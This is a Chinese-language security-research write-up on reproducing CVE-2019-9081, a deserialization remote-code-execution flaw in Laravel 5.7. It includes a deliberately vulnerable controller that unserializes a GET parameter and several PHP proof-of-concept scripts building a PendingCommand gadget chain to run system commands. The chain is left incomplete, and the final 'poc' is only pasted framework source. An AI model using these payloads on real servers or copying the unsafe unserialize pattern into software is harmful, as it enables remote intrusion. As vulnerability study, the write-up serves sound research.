Laravel5.7 - CVE-2019-9081 - rce
声明
本篇文章仅用于技术学习和安全研究,切勿用于非授权下的测试行为,出现任何后果与本文章作者无关!!!
Laravel
介绍
搭建
在github-laravel上下载对应版本源码开干
配置composer,安装地址,可以参考https://www.jianshu.com/p/5b697ccf80fc
在laravel的根目录下输入composer install
composer可能会出现一些问题,我这里是改成阿里源解决的
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ composer selfupdate
在phpstudy里把apache开开,访问127.0.0.1/laravel/public/index.php,刚开始报500,将根目录下的.env.example改为.env。
后来报错Laravel:No application encryption key has been specified.php artisan key:generate
即可。
漏洞详情
版本
漏洞背景
漏洞成因
资产
复现
前期准备
框架没有反序列化的入口,在routes/web.php
中添加一条路由。
Route::get('/unserialize',"UnserializeController@tutu");
在app/http/controllers
中添加一个控制器。
<?php
namespace App\Http\Controllers;
class UnserializeController extends Controller
{
public function tutu(){
if(isset($_GET['c'])){
unserialize($_GET['c']);
}else{
highlight_file(__FILE__);
}
return "tutu";
}
}
找链子
laravel5.7比5.6新增了PendingCommend.php,在PendingCommend.php中run方法中发现call函数可以执行命令。
__destruct
方法中调用了run方法(hasExecuted参数默认false。
相关代码:
protected $hasExecuted = false;
/**
* Execute the command.
*
* @return int
*/
public function execute()
{
return $this->run();
}
/**
* Execute the command.
*
* @return int
*/
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
/**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
构造poc1
poc1
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()))."\n";
echo serialize(new PendingCommand());
}
这个时候报错
断点发现问题出在mockConsoleOutput()
方法上
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
主要是卡在这里
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
createABufferedOutputMock()方法
private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();
foreach ($this->test->expectedOutput as $i => $output) {//循环里出现expectedOutput
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}
return $mock;
}
在循环中,$this->test
是null,并且没有expectedOutput
属性,expectedOutput
属性在trait InteractsWithConsole
中。trait类不能直接被实例化,利用__get
方法
读取不可访问的属性的值调用__get
选择Illuminate\Auth\GenericUser
类
public function __get($key)
{
return $this->attributes[$key];
}
attributes
是可控的,因此直接构造即可。
而且,会发现mockConsoleOutput()
方法中也有类似的代码:
foreach ($this->test->expectedOutput as $i => $output)
foreach ($this->test->expectedQuestions as $i => $question)
poc2
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
class PendingCommand{
protected $command;
protected $parameters;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test = new GenericUser();
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput'] = ['hello', 'world'];
$this->attributes['expectedQuestions'] = ['hello', 'world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()))."\n";
echo serialize(new PendingCommand());
}
还是报错
Call to a member function bind() on null
$this->app
是null
app的变量定义
/**
* The application instance.
*
* @var \Illuminate\Foundation\Application
*/
protected $app;
在poc中对app的实例化,
poc3
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test = new GenericUser();
$this->app = new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput'] = ['hello', 'world'];
$this->attributes['expectedQuestions'] = ['hello', 'world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()))."\n";
echo serialize(new PendingCommand());
}
又报错
Target [IlluminateContractsConsoleKernel] is not instantiable.
打断点发现问题出现在 ????????
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
}
$this->app[Kernel::class]
会很懵,$this->app
不是application类的实例吗,为什么会当成数组?而Kernel::class
又是什么?Kernel::class
是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel
在上面函数段打断点,跳转到vendor/laravel/framework/src/Illuminate/Container/Container.php
的offsetGet方法
/**
* Get the value at a given offset.
*
* @param string $key
* @return mixed
*/
public function offsetGet($key)
{
return $this->make($key);
}
返回给定的offset的值,再跟。
/**
* Resolve the given type from the container.
*
* @param string $abstract
* @param array $parameters
* @return mixed
*/
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
返回resolve后的值,再跟。
/**
* Resolve the given type from the container.
*
* @param string $abstract
* @param array $parameters
* @return mixed
*/
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
// Before returning, we will also set the resolved flag to "true" and pop off
// the parameter overrides for this build. After those two things are done
// we will be ready to return back the fully constructed class instance.
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
现在目标是使用resolve函数最后返回值的object的call方法执行命令,
全局查找哪个类的call可以执行命令
/**
* Call the given Closure / class@method and inject its dependencies.
*
* @param callable|string $callback
* @param array $parameters
* @param string|null $defaultMethod
* @return mixed
*/
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
发现就在container类中,而构造app的Application类正好是container的子类,所以最后返回Application的实例就可以了。
resolve的代码,
通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel
这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php
的704行,可以看到这里判断$this->bindings[$abstract])
是否存在,若存在则返回$this->bindings[$abstract][‘concrete’]
。
$concrete = $this->getConcrete($abstract);
/**
* Get the concrete type for a given abstract.
*
* @param string $abstract
* @return mixed $concrete
*/
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
第一个if不成立,关键是第二个if
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
bindings是container的属性,这里的$this是传入的app,app是container的子类,所以bindings也可控。因此该函数可控。
getConcrete()
函数后是
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
isBuildable()方法
/**
* Determine if the given concrete is buildable.
*
* @param mixed $concrete
* @param string $abstract
* @return bool
*/
protected function isBuildable($concrete, $abstract)
{
return $concrete === $abstract || $concrete instanceof Closure;
}
concrete
是可控的,而$abstract
是Illuminate\Contracts\Console\Kernel
。
经打点测试,?????$this->build($concrete)
得到的结果基本就是最终get the value of offset 返回的,因此想办法让$concrete
是Illuminate\Foundation\Application
poc4
<?php
namespace Illuminate\Foundation\Testing;
use Mockery;
use Illuminate\Console\OutputStyle;
use Illuminate\Contracts\Console\Kernel;
use Symfony\Component\Console\Input\ArrayInput;
use PHPUnit\Framework\TestCase as PHPUnitTestCase;
use Symfony\Component\Console\Output\BufferedOutput;
use Mockery\Exception\NoMatchingExpectationException;
class PendingCommand
{
/**
* The test being run.
*
* @var \Illuminate\Foundation\Testing\TestCase
*/
public $test;
/**
* The application instance.
*
* @var \Illuminate\Foundation\Application
*/
protected $app;
/**
* The command to run.
*
* @var string
*/
protected $command;
/**
* The parameters to pass to the command.
*
* @var array
*/
protected $parameters;
/**
* The expected exit code.
*
* @var int
*/
protected $expectedExitCode;
/**
* Determine if command has executed.
*
* @var bool
*/
protected $hasExecuted = false;
/**
* Create a new pending console command run.
*
* @param \PHPUnit\Framework\TestCase $test
* @param \Illuminate\Foundation\Application $app
* @param string $command
* @param array $parameters
* @return void
*/
public function __construct(PHPUnitTestCase $test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
/**
* Specify a question that should be asked when the command runs.
*
* @param string $question
* @param string $answer
* @return $this
*/
public function expectsQuestion($question, $answer)
{
$this->test->expectedQuestions[] = [$question, $answer];
return $this;
}
/**
* Specify output that should be printed when the command runs.
*
* @param string $output
* @return $this
*/
public function expectsOutput($output)
{
$this->test->expectedOutput[] = $output;
return $this;
}
/**
* Assert that the command has the given exit code.
*
* @param int $exitCode
* @return $this
*/
public function assertExitCode($exitCode)
{
$this->expectedExitCode = $exitCode;
return $this;
}
/**
* Execute the command.
*
* @return int
*/
public function execute()
{
return $this->run();
}
/**
* Execute the command.
*
* @return int
*/
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
/**
* Mock the application's console output.
*
* @return void
*/
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
/**
* Create a mock for the buffered output.
*
* @return \Mockery\MockInterface
*/
private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();
foreach ($this->test->expectedOutput as $i => $output) {
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}
return $mock;
}
/**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
}
懵懵的,再看看吧
参考网站
https://blog.csdn.net/rfrder/article/details/113826483